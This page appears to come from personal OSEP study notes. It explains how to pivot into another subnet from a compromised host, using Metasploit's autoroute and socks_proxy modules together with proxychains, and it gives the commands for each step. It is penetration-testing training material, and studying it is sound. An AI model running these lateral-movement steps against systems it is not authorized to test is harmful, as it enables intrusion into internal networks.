> For the complete documentation index, see [llms.txt](https://osnotes.jackielam.net/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://osnotes.jackielam.net/osep/network/windows-lateral-movement/metasploit-tunneling.md). Agents can also search and read this documentation through its [MCP server](https://osnotes.jackielam.net/~gitbook/mcp).

# Metasploit Tunneling

Must have an established shell on the jumping system (that reaching other subnet victim)

The autoroute module creates a reverse tunnel and allows us to direct network traffic into the appropriate subnet.

{% code title="@multihandler shell session" %}

```
background
use multi/manage/autoroute
set session 1 (the meterpreter shell session)
exploit

use auxiliary/server/socks_proxy
set srvhost 127.0.0.1
exploit -j

sudo bash -c 'echo "socks5 127.0.0.1 1080" >> /etc/proxychains4.conf'
```

{% endcode %}

We can configure to force TCP traffic through the proxy by adding the SOCKS4 proxy IP and port to the config file.

{% code overflow="wrap" %}

```
sudo bash -c 'echo "socks4 127.0.0.1 1080" >> /etc/proxychains.conf'
```

{% endcode %}

```
proxychains rdesktop 192.168.120.10
```

{% hint style="info" %}
Proxychains can be used with many other applications. For example, we can use Nmap to conduct an internal network scan or Firefox to browse internal web sites.
{% endhint %}
